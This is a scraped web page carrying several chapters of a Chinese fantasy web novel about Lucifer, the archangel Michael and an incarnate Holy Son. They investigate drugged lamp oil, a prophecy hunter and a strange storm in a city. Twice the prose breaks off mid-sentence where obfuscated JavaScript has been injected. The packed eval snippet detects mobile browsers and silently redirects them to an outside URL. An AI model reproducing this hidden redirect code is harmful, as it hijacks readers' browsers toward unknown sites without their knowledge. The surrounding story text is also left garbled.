伊勒沙代并未顺着他谈论那位隐于高天的创世神,兀自道:“路西,恶魔不能杀人,对不对?” 路西法蓦地停下脚步,阴冷幽深的殷红竖瞳锁定了一语惊人的“人类”。 “就像天使不能救人那样。” 伊勒沙代转头,不偏不倚与他对视:“米迦勒已经走了,阿斯蒙蒂斯不会跟上来,现在,这里只有你我。” 路西法依旧不言,伊勒沙代便说下去:“若以你和阿斯蒙蒂斯的性情,那个圣殿祭祀就算有天使的能力,也必不能活着离开这里,他来此之后所行,足够让他死一万次,但无论是一开始的阿斯蒙蒂斯还是你,都没有主动对他下过杀手。 而米迦勒,他一直在不远处隐身观察着这边的动向,我察觉到他动了两次,一次是在阿斯蒙蒂斯揪着那个圣殿祭祀的衣领的时候,一次则是那个圣殿祭祀要杀了我的时候,我没有躲避,你也没有反应,米迦勒那时已经格外焦躁,但他依旧没有出手。你们都在等最后一刻,看谁没有忍住。” 很明显结果是米迦勒小胜一局。 路西法不会忍受一个普通人类在他面前夺走他的专属猎物的性命。 “我便想,这里面应有关联。 比如……恶魔杀人,则天使在人间恢复所有力量,反之,天使救人,则恶魔恢复所有力量。” 路西法缓缓弯起唇,冰凉的指尖攀上伊勒沙代的侧脸,温柔亲昵道:“真是敏锐,和那些废物果真不一样。” 此处的“废物”,不必想,应当指眼下天国所有生灵。 伊勒沙代握住他的手腕,路西法墨黑的尖甲已离他湛蓝明亮的双眸不足一寸,他却毫无畏惧,目光平和坚定:“路西,我从来不是你的敌人。” 路西法不置可否,拍了拍他的脸,道:“你还是先想想自己的处境吧。我好心提醒你,利安维亚是圣殿既定的继承人,一旦他认定你就是聂厄曼预言中的那个人,整个圣殿都会立刻出动所有力量来消灭你。” 他指节轻轻刮过伊勒沙代的肌肤,故作苦恼:“这可怎么办呢?现在的你,不过一个普通人类,完全不具备与整个圣殿抗衡的力量,届时万一……我真是舍不得你。” 忽而他复又笑道:“不过眼前还有个办法,那就是—— 今日在场的,不还有一个祭山族人么?” 23. 故布疑阵 “他要找的人,的确不是我。” 伊勒沙代的否认出乎路西法意料,不过以他这几日对伊勒沙代的了解来看,他这样说绝非是因为推卸。 “那就是塞里加。”他故意不追问,只顺着说下去,“如此看来,方才那个小祭祀对他的厌憎倒是没错,他该对付的本就是他。圣子,你这是代人受过呀。” 伊勒沙代不为所动:“此处城中,乃至这旅店中亦有无数祭山族人,是他们中的哪一个也未可知。” 无趣。 路西法冷了脸,抽回手,转身离开,似是一瞬间对伊勒沙代失去所有兴趣。 但伊勒沙代依旧从容地跟了上去。 不等路西法嫌弃,他道:“还请撒旦陛下收留,免我今晚受不得安宁之苦。” 圣子确有一副好皮囊,不知是否因降生为人类之故,与昔年路西法在天国时所见仅是相似,并不相同。 人类独有的脆弱特性叫他少了锋锐之感,多添柔和。 故而此刻虽是刻意示弱,但却也……着实叫人怜惜。 路西法往后一瞥,聂厄曼拄着手杖,正一瘸一拐地往这边来,他的目光死死锁在伊勒沙代身上,灼热又迫切。 若不是实在受伤太重,他定是要跑过来的。 看上去,今日不抓住伊勒沙代,他是不会甘心的。 但路西法偏偏最不喜欢成人之美。 所以他伸手抓住伊勒沙代的前襟,猛地将他拽向自己。 伊勒沙代睁大了眼睛。 这是向来游刃有余的圣子头一次露出意料之外的神情。 撒旦陛下肤色如冷霜,触之才可发觉其温却偏高。 借着如此近的距离,伊勒沙代清楚地嗅见那犹如被烈火焚烧过后的花一般的气息。 只在那似有还无的香气侵入鼻腔的瞬间,伊勒沙代脑中划过一些画面。 灿金长发被与主人眸色相似的青碧剔透琉璃饰品挽起几缕,耳畔悬垂的同色坠饰在他脖颈上映出一抹朦朦胧胧的碧。 正注视着镜中的天使发觉了身后的停顿,微微抬眼,瞥向他,缥碧眸中一片关切,温声问道:“有心事?” 有。 隔着万千时空,伊勒沙代对上他的眼眸。 若本来没有,如今也有了。 这一瞬的所思所想除他自己以外无人知晓。 但路西法很满意他这一刻的神情。 在地狱之主的笑声中,眼见要追上伊勒沙代的聂厄曼面前霎时没了他们的身影。 他一愣,郁闷地用手杖重重杵地,但却无计可施。 伊勒沙代回过神时,却见所在之处并非旅店。 而是格罗多城最高的钟楼上。 人间的钟楼向来只做定时敲击提醒的用处,所以大都建得简陋,这处钟楼也不例外,四面透风,中间铜铁制成的大钟身上早已锈迹斑斑,看上去受了多年风霜侵蚀。 而悬挂大钟的绳索更是三股中断了一股半,只要有人见了,都会为之担心。 不过此处,应当只会有敲钟人来。 此刻已是夜深,俯瞰下去,城中四处灯火通明,却无行人的踪迹。 颇有些古怪奇异的繁华之感。 不远处,有一静默矗立的庞然大物,通身罩着不透光的黑布,遥遥看去,只能依稀看出像是个人形之物。 伊勒沙代自然知晓那是什么。 自那多年前巴别塔倾覆,人间灾厄大降,生灵涂炭以后,侥幸活下来的人类不再敢生出一丁点儿勇气挑衅创世神的威严,相反,他们诚惶诚恐,战战兢兢,无比敬畏。 如今人间四分五裂,有诸多国家,但不约而同的是,在每座城中,总有一尊占地极广的巍峨神像。 祭祀之礼或许不同,但恐惧却是相通的。 但久而久之,城中神像,已成了各城主彰显自己领土实力的一种象征。 至高至伟之外,富庶之地,甚至有以纯金打造,无数珍宝玉石装饰的神像。 格罗多城自然也不例外。 这尊神像本是要在浴光节之时显像供奉的,如今浴光节迟迟不能举办,工匠们没得到城主的示意,也只能维持原状。 路西法觉得多此一举。 反正那黑布之下,也不过就是一尊没有相貌的石像。 有什么可挡的。 让普通人多看两眼也不会叫耶和华少点什么。 各城城主故布疑阵,只是想把这供奉也抬为一种特权的显示。 地位不够,连神像也不配见。 伊勒沙代本在默默关注路西法,却蓦地觉出几分不对劲。 这城中,太过安静了。 居民们岂会同时入眠? 他面上显出两分凝重,凑近栏杆处往下细看。 伊勒沙代视力极好,透过几户人家未曾合拢的窗隙窥见,竟有不少人,径直睡在了地上。 不像是睡着…… 倒像是,昏迷。 “灯油有问题。” 不过转瞬之间,伊勒沙代给出了肯定的答案。 能让这格罗多城中所有人都接触到的,惟有因浴光节而处处燃烧的灯盏。 他身为圣子,自是百毒不侵,所以无碍,而狄曼图雅等人则是来得晚,又被各种动静折腾了一晚,没来得及点灯,大约未曾吸入多少,所以受影响不多。 路西法并不意外他的敏锐。 他斜斜靠上一根柱子,懒懒散散道:“没别的了么?” 他带他来这里,可不是为了赏夜景。 伊勒沙代自然也能想到。 路西法话音一落,他便凝神细细观察。 没了人声,城中只有风声。 格罗多城背靠群山,风从郁郁葱茏的山林间吹来,挟着簌簌叶声与偶然惊起的飞鸟啼鸣。 ——不对,不只有这些。 还有…… 似哀似叹的声音。 层层叠叠,此起彼伏,不绝于耳。 伊勒沙代眉心紧蹙。 他忽地想到,兴许,就算没有遇上狄曼图雅二人,没有他们提议来这里采购,路西法也会带着他们停在格罗多城。 伊勒沙代转身要离开钟楼,却被路西法叫住:“你打算就这么过去?” “总要查清是出了何事。”伊勒沙代神情严肃。 路西法嗤笑道:“你如今只比普通人类强上那么一点,贸然进入山林,只会一无所获。” 只怕山林里的不是寻常事。 伊勒沙代敏锐地从路西法的话中提取到了关键信息。 再依据路西法素日恶劣的性子,伊勒沙代推测,这山林里发生的事,极有可能与当权者有关。 而若他执意出手干预,便会又惹上杀身之祸。 恶魔受限,不能直接杀人,那么便借刀杀人。 所以路西法会设计伊勒沙代能招来的麻烦越多越好,现在不让他去,不过是因为他现在就去不能收益最大化。 伊勒沙代并不因此畏惧。 路西法一见他神情严肃,再不似平时那副温柔从容成竹在胸的模样,逗弄之心便消不下去。 他往旁一偏,挡在钟楼唯一的楼梯口处,大有绝不让伊勒沙代下去之势。 他自以为可恶。 但伊勒沙代却不这样想。 他觉得…… 幼稚。 幼稚得可爱。 明明路西法能有千百种更厉害的办法让他走不出这钟楼,偏偏却用最原始的堵住去路。 所以他完全未有生气。 反而,只用诱哄似的语气温柔道:“你已知道,我现在去也查不出什么,那我便只是去外围看一看,不会深入。” 路西法听着他的语气,只觉得有一种从未有过,说不出来的感觉。 恶心?厌烦?倒也不至于。 但就是浑身不舒服。 太肉麻了。 真拿他当顽劣小孩哄了? 但纵使是他幼时,有“父”之名的耶和华也不曾如此。 可是……为什么呢? 他们从前是敌对关系,如今亦是。 而圣子若是一个能被容貌迷惑的存在,早在当年初见时便会有异状了,何必等到今日。 路西法一双殷红竖瞳锁定他的面容,细细一寸寸观察,像是要从中寻出什么破绽。 在他审视一般的目光中,伊勒沙代泰然自若,任由他打量。 须臾,路西法开口,却是道:“圣子,我又救了你一次。” 伊勒沙代一怔,随即向下看去。 只见不知何时,城中街道里兀地出现了一队黑衣人,他们三两成对,悄无声息地翻进每户人家查看情况。 他们检查得十分迅速,往往只推开门窗瞧一眼,然后便合上离去。 伊勒沙代皱起眉,他几乎见到这情形,便已猜到,他们是在看,这一夜,城中有没有醒着的人。 格罗多城并不算太大,他们检查的重心也不在常住居民上,旅店酒馆这些外来者会待的地方才是重点检查目标。 “看出什么了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091867|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路西法不知何时绕到他身后,自他肩头向下看。 唔,一如既往无聊的人间。 勉强称得上有意思的,惟有钟楼上这个“人类”了。 “这些人身手敏捷,训练有素,应该是格罗多城主的护卫,他们在排查有没有接触过有问题的灯油却未陷入沉睡的人,我猜,那灯油……应当是有人放在格罗多城主府中,而格罗多城主故意将同类有问题的灯油发放下去,若是谁没有沉睡,那就是有解药的背后主使。” 非常…… 损人利己的方法。 而且不一定有用,实行过程中会导致误差的因素有很多。 倒像是只为了泄愤。 伊勒沙代眸色凝重。 若真是他想的这样,那这位格罗多城主,只怕绝非善类。 山林里那些声音,极有可能他是知情的。 身后许久没有回答。 伊勒沙代敏锐转身,正好钳住一只手。 手的主人愣愣地看着他,干巴巴道:“呃……圣子,你真是聪慧灵敏……” “你还没有回天国?”伊勒沙代四下张望,却没见路西法的身影。 “路西法始终对你不怀好意,我不放心,待你们离开这里之后我再回去。”米迦勒有一点点委屈,怎么圣子这语气,倒像他是来添乱似的? 不过他向来心大,也未曾当回事,只以为是圣子情绪不佳。 “路西已经离开了?” “他走了有一会儿了。”米迦勒道,随即,他又有些忍不住,犹犹豫豫开口,“圣子,你不觉得,这个称呼有些不太合适吗?” 且不说他们理应敌对的关系和路西法多次设下死局坑害圣子,就说这称呼本身…… 只有一位这么叫过他。 无论从哪个方面来说,伊勒沙代应该避讳。 “圣父不会有意见。若你只是来同我说这件事,那你可以走了。”伊勒沙代语调平和,出口的话语却是不容置疑。 米迦勒一噎,叹道:“好吧,圣子,我知道我们没有权限指挥你行事,相反,我们应当听从你的调遣,但是人间情形复杂,地狱插手其中多年,势力根深蒂固,路西法行事放纵无定,你又尚未恢复记忆和法力,你让我就这样回去,我属实无法安心。”他伸出另一只手,掌心中有一枚小巧的坠饰,放在身上并不起眼,“你收下这个,带在身边,倘若遇见棘手的事,通过它即可呼唤我。” 他这段时间思来想去,总觉得不安心。 路西法什么性情,米迦勒当了他千万年的下属,都不敢说自己了解。 上一刻言笑晏晏,下一刻痛下杀手。 路西法的心情比最多变的天气还难以捉摸。 米迦勒真的很担心这位口无遮拦的圣子会激怒路西法,然后一命呜呼。 “路西并非你们所说那般阴晴不定,他性情率真,又极好说话,于你们,他也还是念旧情的。”伊勒沙代提到他,不禁放缓了语气,湛蓝眸中微微含笑。 米迦勒看着他,目瞪口呆。 不等他继续说下去,先行制止:“停停停,别说了,我感觉我们说的不是同一个路西法。” 要不是他翅膀已经痊愈,他真想把他翅膀上那几个大洞露出来给伊勒沙代瞧瞧,看他对着它们还能不能说出这种话。 太可怕了。 他感觉眼睛有问题的不是路西法,而是伊勒沙代。 难道眼疾也会传染吗? 还是路西法给他灌了什么迷|魂|汤? 每天喝一大坛的那种。 米迦勒一边心里嘀咕着,一边把坠饰强行塞给了伊勒沙代。 圣子看着柔柔弱弱的,劲也太大了,幸亏他不是人类,不然刚才他那只手必然得直接被扭断。 伊勒沙代若无其事地同他告别,心里已想着如何处理这坠饰。 他并不需要这东西。 相反,它会阻碍他行事。 但也要发挥它最大作用之后再合理地消失才最好。 只是他今日恐与钟楼的楼梯有缘无分。 在他踏上楼梯之前,已经离开的米迦勒蓦地又出现,堵在楼梯口,神情严肃。 “圣子,虽然很不想这样揣测,但是…… “你,是不是喜欢路西法?” 伊勒沙代抬眸,看向眼前难得紧张的炽天使长,颇为意外。 他还当米迦勒会永远是最迟钝的那个。 但米迦勒复道:“我希望事实不如我所想,因为…… “路西法,他早已心有所属。” 24. 天命所向 路西法再度现身时,伊勒沙代已经被锲而不舍的聂厄曼捉住。 这位伤势颇重的前圣殿祭祀神情激动,特意给自己下了个屏蔽痛楚的法术,抓着伊勒沙代要他听前因后果。 哪怕伊勒沙代已经无奈地婉拒数次,表示自己并非他要寻找的人。 “怎么可能!您伟力非凡,怎会不是预言中的王?”聂厄曼紧紧握住他的手,目光灼热,“您不必担心,我是可信的,我可以对父神起誓,我会永远效忠于您,为您扫平所有障碍。” 伊勒沙代斟酌着用词,道:“聂厄曼,你为故人之约苦等数年,甘愿涉险,诚心可嘉,但你正该去寻预言中的天命之人,而非与我纠缠,平白消磨了时间。” “不会有错的!”聂厄曼坚定道,“我来到这里并非偶然,我正是循着故友留下的指示而来,而我在这里遇到了您,为您所救,这也是天命的安排!” 伊勒沙代有些沉默。 他想说救聂厄曼的是阿斯蒙蒂斯。 他什么也没干。 但聂厄曼很明显有自己的一套逻辑,固执得可怕,完全听不进去他的解释。 路西法悄无声息地上楼,却将躲在楼口的狄曼图雅吓了一跳。 她倒霉惯了,锻炼出一副好心态,昨晚那惊险时刻结结实实睡一晚便也忘了,现在又恢复了精气神,还有心思偷偷观察聂厄曼的言行。 她一时紧张,加上经历了昨晚莉莉丝的杀意,倒忘了来时对路西法的恐惧,将他拉到身后,压低声音道:“这个人从前是圣殿百年以来唯一破例收下的平民出身的祭祀,据说法术十分厉害,但是我离开王城的时候,听说他不知为何打伤其他祭祀,叛离圣殿,大祭司下了令,凡圣殿信众,见他便要取他性命,虽然那个大祭司也不是什么好人,但他身上疑点更多。” 所以她是担心她认为老好人的伊勒沙代受了蒙骗。 她怕路西法不知聂厄曼来历,尽量说得详细。 “大祭司不是好人,那昨晚的小祭祀与他是师徒,岂非也不是好人?”路西法故意挑话问她。 “利安维亚倒不算坏,就是个猖狂自傲目中无人的傻子罢了,只是他太信任他的老师,一叶障目,什么也听不进去。”狄曼图雅撇撇嘴。 还有就是利安维亚莫名其妙对塞里加有敌意,从他们在斗兽场初见时就是如此。 明明塞里加已经那么可怜了,他还是咄咄逼人,总是像拷问犯人一般对待他。 她后知后觉,忽地想起问一句:“你怎么是从门外进来的呀?” “好奇我去做什么了?” 狄曼图雅犹豫了下,诚实地点头。 路西法这样神秘又危险的人物,她实在忍不住有好奇心。 却听路西法笑眯眯道:“去给伊勒沙代找了点麻烦。” 说罢,也不管狄曼图雅如何惊讶不可置信,他已自顾自离开。 他对聂厄曼可没兴趣。 就算他有问题,他也骗不了伊勒沙代。 有欲有求,才会有弱点,才会有可趁之机。 但对于“工具”一般的天国生灵来说,无论名利美色,都是不能打动他们的。 除非与他们的“任务”有关,对症下药。 只可惜,伊勒沙代的降临保密程度太高,天国之内,竟然就连炽天使也都不知晓他所来为何。 而伊勒沙代本人更是个难缠的,想从他这里获取信息,难度极大。 但回报也极高。 毕竟,从中,可以窥见……创世神的动向。 路西法殷红眸中暗色涌动,幽光复晦。 约里全然没想到,自己睁开眼的时候,就能瞧见那个变|态躺在他旁边,凑得极近地眨眨眼,故作暧昧道:“晨安,休息得可好?” 他起了一身鸡皮疙瘩,忙不迭下床换衣服。 阿斯蒙蒂斯“啧”了一声,悻悻道:“打个招呼而已,我又不是吃人的野禽猛兽,你躲什么?” 因为你比吃人的野禽猛兽可怕多了! 约里敢怒不敢言。 他一醒过来便想着去寻伊勒沙代,他还惦记着聂厄曼伤势严重,若非昨晚实在太累睡了过去,当夜他便会求伊勒沙代救治聂厄曼。 “我知道你要去做什么,但我建议你最好别去。”阿斯蒙蒂斯不太优雅地打了个呵欠,他倒是像没睡好的模样,“若是坏了你那先生的事,你后悔也来不及。” 约里本想反驳,听到他后半句,立刻歇了心思。 他虽善良,却始终以伊勒沙代为先。 不过他还是好奇原因。 “你昨晚应该也听见了,他是来寻所谓天命之人的,你那先生没承认,但圣殿祭祀却凭他的治疗之法肯定他就是,你若再求他去治好聂厄曼,聂厄曼只怕会就此缠上他,不肯罢休。” “可我觉得,若真有天命的预言,那一定是落在先生身上的。”约里忍不住道。 阿斯蒙蒂斯一边对着镜子细致地打理自己的发型,精心挑选适配今日穿搭的饰品戴上,一边漫不经心道:“你不明白,有的‘天命’可不能应承,那就是给个名头叫你心甘情愿送死去的。” 约里的确不明白。 但他觉得伊勒沙代并不是个怕死的人。 其中,应该还有别的原因。 直到确认镜中的自己外貌依旧魅力四射勾人心弦,阿斯蒙蒂斯才满意地收手。 他正转头要向约里夸耀两句,却见路西法不知何时站在门口盯着他。 阿斯蒙蒂斯猝不及防,吓得一抖。 约里不明所以,顺着他目光看去,也是一惊。 他对路西法的真实身份从昨晚有了猜测起便一直心有戚戚,此刻见了他,更是胆寒。 无怪他胆小,人间关于地狱之主的恐怖传闻足以编成百万字的系列丛书,如今乍一见事主活生生站在眼前,约里的反应其实已经算得上勇敢。 “出去。” 约里和阿斯蒙蒂斯同时动作起来,阿斯蒙蒂斯也顾不上自己的仪容仪表,连忙就要出去,却被路西法一个眼神钉在原地。 他这才反应过来陛下是要单独和他谈话。 约里对于能不和路西法共处一室求之不得,麻利地出去并贴心地合上门,不顾身后阿斯蒙蒂斯哀怨的目光。 阿斯蒙蒂斯目送他走远,强迫自己保持最灿烂的笑容:“陛下,晨安。” 路西法无意搭理他的谄媚,径直越过他,停在窗边。 那里昨晚被撞出个大洞,阿斯蒙蒂斯躺在床上翻来覆去半宿,感觉自己堂堂魔王孤孤单单睡在这断壁残垣里太不像话,费心费力特意修复如初。 路西法看了看,认为他以后不当魔王也可以去当泥瓦匠,凭手艺闯出一番天地。 “昨晚聂厄曼同你在一处?” “上半夜是的,下半夜的时候塞里加把他带走了,说是奉狄曼图雅的命令把他带去包扎治疗。”阿斯蒙蒂斯摸了摸发尾的小巧金露薇垂饰,颇为遗憾。 聂厄曼长得也不差,身受重伤,却有一种坚韧的信念撑着他的脊骨,阿斯蒙蒂斯看着就心生怜惜,于是挺乐意和他相处。 不过聂厄曼到底曾任神职,对恶魔自来没有好感官,虽碍于救命之恩不好排斥,但也始终不怎么搭理他,塞里加来时,他更是想也不想就同他一起走了。 真是气魔啊,他明明那么友善,怎么一个二个都这副模样呢! 相较于阿斯蒙蒂斯不着边际的胡思乱想,路西法却是细细思量。 昨晚,他看得分明,聂厄曼是犹豫的。 也就是说,聂厄曼并不确定预言中的到底是谁。 可经过这一晚,聂厄曼却下定了决心。 他一定还经历了什么事,或者,他手中还有什么东西,能帮他在近距离更确定人选。 路西法向来喜欢多做假设,然后根据每个可能的走向制定相应的对策。 聂厄曼是他精心挑选的重要棋子,不能出差错。 “沿途盯紧聂厄曼,别让他坏了计划。” 阿斯蒙蒂斯笑嘻嘻地应下:“明白。” 待能见之处没了撒旦陛下漆黑金底红纹的衣角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091868|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,伊勒沙代不动声色三两句便打发了聂厄曼。 聂厄曼性情迟钝,并未想通为何方才还无可奈何的圣子一下突然变得不容置疑地强势,让他没有一点留下纠缠的余地。 他迷迷糊糊地去找塞里加处理伤口,却猛然想起—— 伊勒沙代,还是没承认他是天命之王啊! 狄曼图雅一等聂厄曼走远,立刻就要去把自己的想法告诉伊勒沙代,却见他望了望门外艳阳高照的天,回头取了一把伞。 她心中疑惑,时下的伞都不具有遮阳的功效,伊勒沙代难道是要拿伞作别的用处? 然而也不是。 伊勒沙代绕到□□,将伞撑开的那一刻,方还晴空万里的天蓦地一声霹雳,撕开云层,暴雨倾盆而下。 与狄曼图雅一同不可置信地瞪大眼睛的是在他伞下的旅店侍应。 那个瘦削的男人瞠目结舌,抱紧了怀里不能沾水的珍贵绸布,心有余悸,转身一迭声向伊勒沙代道谢。 他看着年纪不轻,微微驼背,皮包骨似的躯体在侍应服装里空荡荡地游曳,一双眉眼下撇,满面愁容。 狄曼图雅不懂相面,但一见他,却也觉得,他必然命途多舛,生活困苦。 “太感谢您了,先生,这批绸布是店长特意为城主大人准备的,若是它们受了损,我只怕也要没命了。”侍应说着,眉眼耷拉下去,越发显得愁苦。 “举手之劳,无需客气。”伊勒沙代定定看向他有些混浊的眼睛,却叫他不自觉地移开,像是自卑,“这几日我在前厅并未看见过你招待,想来,你是负责后勤的?” “我,我…不好看,命数又不好,店长让我别到客人跟前去……” 省得碍了店里的生意。 他支支吾吾,难以启齿。 不过他难为情,觉得羞耻,却并不为此怨恨。 像他这样命数不祥,一出生就害死所有亲人,又让收留他的人家都倒霉,被人踢来踢去,磕磕跘跘长大的孤儿,店长虽嫌弃他,却是这城里唯一愿意给他一口饭吃的,他感激还来不及。 伊勒沙代静静听着他期期艾艾地讲述自己的往事。 骤雨如瀑,落在伞面上的声音宛若撞击攻城,顺着伞骨不断线地流下。 在短短的从□□到前厅的路程中,侍应讲完了他贫瘠无趣的三十多年人生。 就像真正的蛮荒之地一样寸草不生,所以那么一点儿善意都如此醒目。 “……我知道,我没什么用,但所有对我好的人,我都记着,我会用我的一切回报他们的。”侍应嗓音干涩,哀哀耷拉的眼里透出一点点光。 “包括店长,包括曾经收留过你的所有人,哪怕只有一两日的?” 侍应用力地点头。 狄曼图雅旁观着,她不禁由衷地想,伊勒沙代可真是个好人。 换作她从前认识的王城中任何一位,都不会倾听一个苦命的侍应讲他的人生。 哦,也不对,他们从一开始就根本不会帮他的。 也许会欣赏他在雨中狼狈惊慌的模样,哈哈大笑。 不知怎的,她忽地想起聂厄曼的话来。 祭祀们大多是从小被精选至圣殿,培养长大,唯独聂厄曼是在乡野自学成才,数年前一战成名,再被破例录为祭祀。 只是近年来,时常传出聂厄曼在圣殿疯言疯语,行事异于常人的事迹。 所以她一开始才以为,兴许这什么她从未听过的预言又是聂厄曼的幻想,毕竟以她的身份,圣殿的所有预言她都可以比其他人提前知晓。 但现在,她莫名其妙有些不确定了。 万一……真有天命之王呢? 她见过形形色|色的祭山族人,有奴颜婢膝的,亦有宁折不弯的。 但,无可否认,伊勒沙代绝对是最特殊的那个。 狄曼图雅陷入沉思。 所以她没看见,不远处,伊勒沙代还是那般温柔含笑,微微俯身,对那侍应说了一句话。 侍应勃然变色,混浊的眼盯着伊勒沙代,蓦地露出一丝杀意。 25. 暴雨雷霆 这场雨来得蹊跷。 人间多少年也难遇上一次这般狂暴凶猛的大雨,千万水柱重重凿向屋脊地砖,沉闷的声音将一切人类生活带起的响动笼罩住,在这等自然伟力面前,于群山荒原乃至大漠中建起一座座繁华城池的人类,与草根下瑟瑟的蝼蚁也没有区别。 雨势越来越大,仿若天漏。 方才还在街上或嬉笑或嗔怒的人们都慌慌忙忙地往周围的楼房里赶,在此刻,一把伞不及屋檐能带来安全感。 有人望着这场大雨欣喜若狂,亦有人愁上心头,低声叹道:“我活了这么久,从没见过这么大的雨……” 久? 好像也不太久。 路西法伸出指尖,不厌其烦地一遍遍抹去那几朵雕在窗框的蔷薇瓣上的水迹。 只是暴雨不开灵性,没有灵智,不懂察言观色,仍是要浇湿它们。 他记得一场比今日还大的雨,仿佛就在昨日一般清晰。 好像是在完成了一件什么秘密的事以后。 路西菲尔突然不想那么快回到天国,所以停在了人间的某处街口。 日暮时分,人类总会赶着回家,无论今日在外如何疲惫,回家的脚步都是轻快有力的。 纵使迎来一场猝不及防的小雨,也未曾影响他们的心情。 细雨如织,来来往往的行人都撑起一把伞,三三两两经过路西菲尔身旁,却毫无所察。 天国从不会下雨。 或者说,天国没有任何除了晴朗以外的天气。 由暗至明,再由明至暗,这就是天国的一日,也是所有日。 而此刻,路西菲尔分明就站在雨里,却感受不到雨。 雨雪不可加身,水火不可冒犯,天地万物都要为天国副君的驾临臣服避让。 他人称之为创世神赐予的殊荣,并深表羡慕。 路西菲尔伸出手,雨丝如生灵智一般纷纷避开了他,最终他白皙柔软的掌心也没有盛上一滴水迹。 他索然收回手,又突发奇想,学着一旁路人的模样,撑开了一把伞。 天使皆为灵体,行走于世间不留任何痕迹,但路西菲尔现在却忽地想体会一下踏足人间的感觉。 雨柱越发沉重,与此同时,路西菲尔金银双绣为边的衣摆与做工精致造价不菲的长靴也落入了混杂着尘土的积水里,只是他毫不在意。 他悄然进入人群之中,人间的种种声音霎时都响了起来。 “这雨越来越大了,咱们别去欣赏什么雨中的花了,赶紧回家吧。” “也不知道前面巷口的点心铺子是不是还开着,这回我可要多买些新推出的栗子点心。” “一会儿去我家吃饭吧!今晚我家炖了鱼汤,你也知道我母亲的手艺,这整座城里没人比得过她。” 多么平凡的小事,和天国最基础的待遇比起来,完全不值一提,但相较于从来没有情绪的天使,这些渺小的人类却为此开心着。 什么才是真正的快乐呢? 人类以为进入天国就会永远快乐,可日复一日地那样度过,于他们而言,真的会快乐吗? 路西菲尔若有所思地抬手摸了摸伞骨。 ——却是触到了湿滑转动的东西。 他一下从思绪中回过神,猛地发觉这场雨越来越大,到现在已成倾盆之势。 雷声大作,闪电如密布的网结在空中,照亮人类一张张惊慌失措的脸。 路西菲尔抬起头,入目却不是伞骨,而是与一只无悲无喜的眼对上。 刹那遍体生寒的冷。 他心中微微一震,随即垂下眼,保持礼仪,不可直视。 只是好像,惹得祂更为不满。 路西菲尔自然知道这份不满从何而来,无非是因他这次逗留人间太久。 他往日从来事毕即回天国,身为最受爱重的副君,不需创世神直言,也不会违背祂的意志。 今日却有些……厌倦。 路西菲尔索性假做不知。 不见礼,不汇报,就这么沉默着。 那他们现在算是在同行吗? 路西菲尔想起刚才所见的那些共伞同行的人类,他们似乎都是关系很好的,挤在一把圆伞下,紧紧贴在一起,一边避开风雨的突袭,一边聊着两人彼此知晓的琐碎小事。 有了那个同伴,分明伞下的位置也被分去一半,落在雨中淋湿的概率大大增加,可他们却像更高兴了。 创世神倒是不占伞下的空间。 但路西菲尔颇觉心情沉重。 好像被这雨浇湿,沾上了水的重量,由是而变得沉甸甸的。 兀地,路西菲尔觉察到伞骨一轻。 下一刻,他身侧却像多了什么。 那双本是沉下的缥碧眼眸惊讶地瞥向一侧,他只在此刻忘了规矩。 路西菲尔十分意外,想了想,还是象征性地移动了位置,好似自己这把伞下也多了个“人”。 “喜欢雨天?” 创世神问得很直接,语气一如既往听不出情绪。 路西菲尔摇了摇头,谨慎道:“所有天气于我都是同等的。” 无怪他回答得如此小心,因为创世神真的做得出来让他往后每个日子都下雨这种事。 “那以后天国也轮转天气。”创世神果断下了决定。 路西菲尔简直能想到天使们猝不及防迎来雨天的时候会造成何等乱象,眼前发黑。 “天使不会因天气而情绪波动,父神,不如还是……” “但你会更高兴。” 太直白了。 路西菲尔握着伞柄的手不由得一紧。 他正斟酌着谢辞,却又听见:“我早说过,你不必同我言谢。” 确实,在他受封天国副君的典礼上,创世神便已同他说过。 “请恕我忘……” “也不许道歉。” 路西菲尔哑然,片刻后无奈道:“父神,那我还可以说什么?” “除了这两样以外的。” 那他还真不知道该说什么。 “近来你总是心事重重,也很少来水晶天。” 他低下头,本想编出一个完美的解释,但又觉无言。 “世间万千生灵凡有困扰,皆知向我祈祷,你离我最近,为何反而偏偏事事藏在心里?” 非是不想。 而是…… 妄生痴念,如何言说? 路西菲尔既觉得迷茫,又觉得荒谬。 创世神从未以有形体的模样现身过,大家都猜测,或许造物主本身不受固定形态所限。 若风似雾,如梦如幻。 而他,竟然也能对着虚无丛生妄念。 “罢了,我不迫你。” 创世神在他的沉默中终是先退让,一向平静无澜的声音中竟像有几分无奈。 “路西,我已给予你最好的一切,为何你还是……” 还是什么? 路西菲尔疑惑地抬头,伞下的另一侧却已没了声息。 不知其始,不知其终。 滂沱大雨早在某一刻悄然停下,风消雨霁,只有水珠不断从暂且栖身的檐上伞边坠落,彰显曾有一场大雨来过。 路西菲尔不自觉地将伞柄握得更紧,用力得凸起的骨节都泛了白。 又是这样。 所以,为什么要问他呢? 祂明明知道一切答案。 路西菲尔闭上眼,静默着在掺着湿润水意的风里站了半晌。 他睁开眼时,眸中已又是一片沉静。 路西菲尔松开手,任由那把伞坠下,他的身躯亦在风中渐渐消散。 他生而尊贵骄傲,本就不该被困在一场无端骤雨里。 路西法面前的这场雨也终于走到了尽头,躲雨的人各自散去,整条街都安静下去。 